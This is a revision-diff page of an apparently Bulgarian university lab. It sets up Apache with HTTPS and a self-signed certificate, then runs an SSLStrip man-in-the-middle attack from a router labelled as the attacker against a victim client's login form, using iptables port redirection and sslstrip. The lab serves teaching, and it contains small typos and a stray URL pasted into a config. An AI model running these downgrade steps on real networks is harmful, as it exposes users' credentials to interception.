Difference between revisions of "Apache SSL"

From Ilianko
(Created page with "Конфигуриране на Apache с поддръжка на https (TLS/SSL) == Web сървър == 3. Инсталиране на софтуерни пакети '''''op...")
 
 
(27 intermediate revisions by the same user not shown)
Line 1: Line 1:
Конфигуриране на Apache с поддръжка на https (TLS/SSL)
+
Конфигуриране на Apache с поддръжка на https (TLS/SSL) и атака с SSLStrip
 +
Опитна постановка:
 +
Router, Web Server, Web Client.
  
== Web сървър ==
+
==Мрежови настройки==
  
 +
===Router (Attacker)===
 +
Играе ролята на рутер, токча за достъп към Интернет.
 +
Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.
  
3. Инсталиране на софтуерни пакети '''''openssl''''', '''''apache2''''', '''''ssh'''''
+
Настройка DNS
  :~$ apt-get update
+
*nano /etc/resolv.conf
:~$ apt-get install apache2 openssl ssh
+
  nameserver 8.8.4.4
  
4. Проверка дали работи web сървърът.
 
  
От брaузър на хост машината се зарежда IP адреса на web сървъра.
 
  
5. Свързване от '''''Хост компютъра''''' към виртуалния Web сървър през ssh.
+
Настройки на Интерфейси:
 +
nano /etc/network/interfaces
 +
<code><pre>
 +
auto lohttps://www.google.bg/search?q=innodb&gws_rd=cr,ssl&ei=JjAnVrkBwuhqoeSMmAs
 +
iface lo inet loopback
 +
 
 +
# The primary network interface
 +
allow-hotplug eth0
 +
iface eth0 inet static
 +
address 10.3.45.2XX
 +
netmask 255.255.255.0
 +
gateway 10.3.0.1
 +
 
 +
allow-hotplug eth1
 +
iface eth1 inet static
 +
address 172.16.1.1
 +
netmask 255.255.255.0
 +
</pre></code>
 +
 
 +
Активиране на NAT
 +
echo "iptables -A POSTROUTING -t nat -j MASQUERADE" >> /etc/init.d/rc.local
 +
echo "echo 1 > /proc/sys/net/ipv4/ip_forward" >> /etc/init.d/rc.local
 +
 
 +
=== Web сървър ===
 +
 
 +
*nano /etc/resolv.conf
 +
nameserver 8.8.4.4
 +
 
 +
<code><pre>
 +
# The primary network interface
 +
allow-hotplug eth0
 +
iface eth0 inet static
 +
address 172.16.1.2
 +
netmask 255.255.255.0
 +
gateway 172.16.1.1
 +
</code></pre>
 +
 
 +
Инсталация на web сървър
 +
Инсталиране на софтуерни пакети '''''telnet''''', '''''openssl''''', '''''apache2''''', '''''ssh'''''
 +
apt-get update
 +
аpt-get install apache2 openssl ssh
 +
 
 +
 
 +
Проверка дали работи web сървърът.
 +
telnet localhost 80
 +
  GET
 +
 
 +
=== Web client (Victim) ===
 +
windows XP
 +
*IP: 10.3.45.1XX/16
 +
*gateway: 10.3.0.1;
 +
*DNS: 8.8.4.4
 +
*през cmd се добавя път към вътрешна мрежа:
 +
route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX
 +
 
 +
 
 +
==Host машина==
 +
Добавяне на път от host машината към web сървъра
 +
route add -net 172.16.1.0/24 gw 10.3.45.100
 +
 
 +
== Web форма ==
 +
 
 +
Тестване на web сървъра през Web клиента
 +
*В браузъра се отваря:
 +
http://172.16.1.2/index.html
 +
 
 +
Качване на форма form.html
 +
*Подгответе web форма и я качете през ssh на веб сървъра
 +
<code><pre>
 +
<html>
 +
  <head>
 +
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 +
    <title>Untitled Document</title>
 +
  </head>
 +
  <body>
 +
    <form action="https://172.16.1.2/index.html" method="post">
 +
      <table>
 +
        <tr>
 +
          <td>User: </td>
 +
          <td><input type="text" name="name" value="" maxlength="100" /></td>
 +
        </tr>
 +
        <tr>
 +
          <td>Password</td>
 +
          <td><input type="password" name="pass" value="" maxlength="100" /></td>
 +
        </tr>
 +
        <tr>
 +
          <td colspan="2"><input name="submit" type="submit" value="Submit" /></td>
 +
        </tr>
 +
      </table>
 +
    </form>
 +
  </body>
 +
</html>
 +
</pre></code>
 +
 
 +
 
 +
Свързване от '''''Хост компютъра''''' към виртуалния Web сървър през ssh.
  
 
Отваря се терминал на хост машината и се изпълнява
 
Отваря се терминал на хост машината и се изпълнява
  :-$ ssh student@10.3.45.10X
+
  :-$ ssh student@172.16.1.1
  
6. Генериране на ...
+
===Активиране на https===
  
Да се създаде директория ~/keys
+
*Активиране на ssl модул:
  :~$ mkdir ~/keyes
+
  a2enmod ssl
  :~$ cd ~/keys
+
 
   
+
*Настройка на web директория Apache. Ще се модифицира примерната конфигурация
Генериране на само-подписан сертификат и частен ключ
+
  cd /etc/apache2
  :~$ openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key
+
  cp sites-available/default-ssl sites-enabled/
 +
  nano sites-enabled/default-ssl
 +
service apache2 restart
  
Common Name (e.g. server FQDN or YOUR name) []: '''''tugab.bg'''''
+
*добавете към index.html връзка към формата
 +
<a href=https://172.16.1.2/form.html >Forma</a>
  
Проверете генерираните файлове
+
=== Генериране на собствен самоподписан сертификат ===
  
7. Настройка на Apache2
+
*Да се създаде директория /root/keys
 +
mkdir /root/keyes
 +
cd /root/keys
 +
 +
*Генериране на самоподписан сертификат и частен ключ
 +
openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key
 +
 +
Common Name (e.g. server FQDN or YOUR name) []: '''''tugab.bg'''''
 +
...
  
Активиране на ssl модул
+
*Проверете генерираните файлове
:~$ a2enmod ssl
 
  
Настройка на web директория Apache. Ще се модифицира примерната конфигурация
 
:~$ cd /etc/apache2
 
:~$ cp sites-available/default-ssl sites-enabled/
 
:~$ nano sites-enabled/default-ssl
 
  
Редактирайте пътищата към сертификата и частния ключа
+
*Редактирайте пътищата към сертификата и частния ключа. Редактирайте файла /etc/apache2/sites-enabled/default-ssh
 
<code><pre>
 
<code><pre>
 +
...
 
  SSLEngine on
 
  SSLEngine on
  
Line 51: Line 156:
 
         SSLCertificateFile    /root/keys/apache.pem
 
         SSLCertificateFile    /root/keys/apache.pem
 
         SSLCertificateKeyFile /root/keys/apache.key
 
         SSLCertificateKeyFile /root/keys/apache.key
 +
...
 +
</pre></code>
  
</pre></code>
+
*Рестатирайте apache и Тествайте връзката към '''''https://10.3.45.1XX'''''
 +
service apache2 restart
 +
 
 +
== Атака на връзката ==
 +
 
 +
Инсталиране sslstrip
 +
 
 +
apt-get install sslstrip
 +
 
 +
пренасочване на порт
 +
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
 +
 
 +
стартиране на sslstrip
 +
sslstrip -L 10000
 +
 
 +
 
 +
Да се тества премахването на https връзките.
  
9. Рестатирайте apache и Тествайте връзката към '''''https://10.3.45.10X'''''
 
:~$ /etc/init.d/apache2 restart
 
  
 
   
 
   

Latest revision as of 10:04, 22 October 2015

Конфигуриране на Apache с поддръжка на https (TLS/SSL) и атака с SSLStrip Опитна постановка: Router, Web Server, Web Client.

Мрежови настройки

Router (Attacker)

Играе ролята на рутер, токча за достъп към Интернет. Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.

Настройка DNS

  • nano /etc/resolv.conf
nameserver 8.8.4.4


Настройки на Интерфейси: nano /etc/network/interfaces

auto lohttps://www.google.bg/search?q=innodb&gws_rd=cr,ssl&ei=JjAnVrkBwuhqoeSMmAs
iface lo inet loopback

# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 10.3.45.2XX
netmask 255.255.255.0
gateway 10.3.0.1

allow-hotplug eth1
iface eth1 inet static
address 172.16.1.1
netmask 255.255.255.0

Активиране на NAT

echo "iptables -A POSTROUTING -t nat -j MASQUERADE" >> /etc/init.d/rc.local
echo "echo 1 > /proc/sys/net/ipv4/ip_forward" >> /etc/init.d/rc.local

Web сървър

  • nano /etc/resolv.conf
nameserver 8.8.4.4
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 172.16.1.2
netmask 255.255.255.0
gateway 172.16.1.1
</code>

Инсталация на web сървър Инсталиране на софтуерни пакети telnet, openssl, apache2, ssh

apt-get update
аpt-get install apache2 openssl ssh


Проверка дали работи web сървърът.

telnet localhost 80
  GET

Web client (Victim)

windows XP

  • IP: 10.3.45.1XX/16
  • gateway: 10.3.0.1;
  • DNS: 8.8.4.4
  • през cmd се добавя път към вътрешна мрежа:
route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX


Host машина

Добавяне на път от host машината към web сървъра

route add -net 172.16.1.0/24 gw 10.3.45.100

Web форма

Тестване на web сървъра през Web клиента

  • В браузъра се отваря:
http://172.16.1.2/index.html

Качване на форма form.html

  • Подгответе web форма и я качете през ssh на веб сървъра
<html>
  <head> 
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Untitled Document</title>
  </head>
  <body>
    <form action="https://172.16.1.2/index.html" method="post">
      <table>
        <tr>
          <td>User: </td>
          <td><input type="text" name="name" value="" maxlength="100" /></td>
        </tr>
        <tr>
          <td>Password</td>
          <td><input type="password" name="pass" value="" maxlength="100" /></td>
        </tr>
        <tr>
          <td colspan="2"><input name="submit" type="submit" value="Submit" /></td>
        </tr>
      </table>
    </form>
  </body>
</html>


Свързване от Хост компютъра към виртуалния Web сървър през ssh.

Отваря се терминал на хост машината и се изпълнява

:-$ ssh student@172.16.1.1

Активиране на https

  • Активиране на ssl модул:
a2enmod ssl
  • Настройка на web директория Apache. Ще се модифицира примерната конфигурация
cd /etc/apache2
cp sites-available/default-ssl sites-enabled/
nano sites-enabled/default-ssl
service apache2 restart
  • добавете към index.html връзка към формата
<a href=https://172.16.1.2/form.html >Forma</a>

Генериране на собствен самоподписан сертификат

  • Да се създаде директория /root/keys
mkdir /root/keyes
cd /root/keys 

  • Генериране на самоподписан сертификат и частен ключ
openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key

Common Name (e.g. server FQDN or YOUR name) []: tugab.bg
...
  • Проверете генерираните файлове


  • Редактирайте пътищата към сертификата и частния ключа. Редактирайте файла /etc/apache2/sites-enabled/default-ssh
...
 SSLEngine on

        #   A self-signed (snakeoil) certificate can be created by installing
        #   the ssl-cert package. See
        #   /usr/share/doc/apache2.2-common/README.Debian.gz for more info.
        #   If both key and certificate are stored in the same file, only the
        #   SSLCertificateFile directive is needed.
        SSLCertificateFile    /root/keys/apache.pem
        SSLCertificateKeyFile /root/keys/apache.key
...
  • Рестатирайте apache и Тествайте връзката към https://10.3.45.1XX
service apache2 restart

Атака на връзката

Инсталиране sslstrip

apt-get install sslstrip

пренасочване на порт

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

стартиране на sslstrip

sslstrip -L 10000


Да се тества премахването на https връзките.



https://wiki.debian.org/Self-Signed_Certificate http://blog.donovan-jimenez.com/2011/03/adding-new-trusted-certificate-on.html http://httpd.apache.org/docs/2.2/ssl/ssl_faq.html http://www.thegeekstuff.com/2011/03/install-apache2-ssl/ http://onlamp.com/onlamp/2008/03/04/step-by-step-configuring-ssl-under-apache.html